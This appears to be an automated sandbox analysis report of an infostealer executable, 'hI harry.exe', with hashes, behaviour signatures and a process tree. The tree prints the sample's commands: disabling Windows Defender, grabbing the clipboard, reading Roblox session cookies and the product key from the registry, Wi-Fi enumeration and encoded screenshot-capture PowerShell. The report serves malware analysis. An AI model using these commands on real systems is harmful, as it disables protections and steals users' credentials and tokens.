Analysis

  • max time kernel
    93s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-12-2024 18:12

General

  • Target

    hI harry.exe

  • Size

    7.6MB

  • MD5

    e6fe22002d62efd69cae66320096e12f

  • SHA1

    84be437fab36b24d81a7f41d73f863ab2de4a347

  • SHA256

    e92f633f80b87dba048722554763ac878dce8de447aeb7947e6e54b777ed3dad

  • SHA512

    3193c01b00df3b3b96130d4b1a2ef317a94bc7f4c45e66f39e59a00487f4f9fc26229cb38c190a6ed3e9e44d552557db5b2a3b5733d0ce14a08a9ebc7e35ec67

  • SSDEEP

    196608:V+HYxNwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jW:4IHziK1piXLGVE4Ue0VJ6

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • UPX packed file 60 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\hI harry.exe
    "C:\Users\Admin\AppData\Local\Temp\hI harry.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Users\Admin\AppData\Local\Temp\hI harry.exe
      "C:\Users\Admin\AppData\Local\Temp\hI harry.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\hI harry.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\hI harry.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2592
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2652
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1888
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1820
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4596
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1784
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2260
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:4776
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1712
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4400
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:4444
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:3484
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:3144
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4572
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:4304
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1364
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4792
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eybxt1rw\eybxt1rw.cmdline"
              5⤵
                PID:1072
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9C8E.tmp" "c:\Users\Admin\AppData\Local\Temp\eybxt1rw\CSC748CBC4B5845419488E9416B7BB8429.TMP"
                  6⤵
                    PID:1876
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4472
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:4104
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2984
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:4612
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1816
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:3124
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4680
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:4872
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:2732
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:3468
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                            PID:1668
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:428
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                            3⤵
                              PID:5104
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4676
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "getmac"
                              3⤵
                                PID:3220
                                • C:\Windows\system32\getmac.exe
                                  getmac
                                  4⤵
                                    PID:208
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI19082\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\NORYn.zip" *"
                                  3⤵
                                    PID:5076
                                    • C:\Users\Admin\AppData\Local\Temp\_MEI19082\rar.exe
                                      C:\Users\Admin\AppData\Local\Temp\_MEI19082\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\NORYn.zip" *
                                      4⤵
                                      • Executes dropped EXE
                                      PID:836
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                    3⤵
                                      PID:1824
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic os get Caption
                                        4⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2340
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                      3⤵
                                        PID:4888
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic computersystem get totalphysicalmemory
                                          4⤵
                                            PID:2828
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                          3⤵
                                            PID:2592
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic csproduct get uuid
                                              4⤵
                                                PID:2892
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                              3⤵
                                                PID:2356
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                  4⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3684
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                3⤵
                                                  PID:1320
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic path win32_VideoController get name
                                                    4⤵
                                                    • Detects videocard installed
                                                    PID:3100
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                  3⤵
                                                    PID:4312
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3724

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                Filesize

                                                3KB

                                                MD5

                                                8740e7db6a0d290c198447b1f16d5281

                                                SHA1

                                                ab54460bb918f4af8a651317c8b53a8f6bfb70cd

                                                SHA256

                                                f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5

                                                SHA512

                                                d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b

                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                Filesize

                                                944B

                                                MD5

                                                6d3e9c29fe44e90aae6ed30ccf799ca8

                                                SHA1

                                                c7974ef72264bbdf13a2793ccf1aed11bc565dce

                                                SHA256

                                                2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                                                SHA512

                                                60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                Filesize

                                                1KB

                                                MD5

                                                4df4ef707a4d881224b023b119b108e2

                                                SHA1

                                                4e7043ec19dd7d0398b8d59db5f56e96f3c65fa1

                                                SHA256

                                                40b88b00fed4f927b1c8e77beffac4df496ef4f4c768ba8fb751a9cb415ece61

                                                SHA512

                                                54dc66e0cc4bddd984b849d99a505b9639f87bd4beaec4fc2301fbe128bb9168e9c43f2aeed1fa5828b8785ebc7d668c4b2fb1cfa2218f57fe59355d0511f669

                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                Filesize

                                                1KB

                                                MD5

                                                d3235ed022a42ec4338123ab87144afa

                                                SHA1

                                                5058608bc0deb720a585a2304a8f7cf63a50a315

                                                SHA256

                                                10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

                                                SHA512

                                                236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

                                              • C:\Users\Admin\AppData\Local\Temp\RES9C8E.tmp

                                                Filesize

                                                1KB

                                                MD5

                                                6cb8a12b31bcfec3b44a0fea19ef3ef6

                                                SHA1

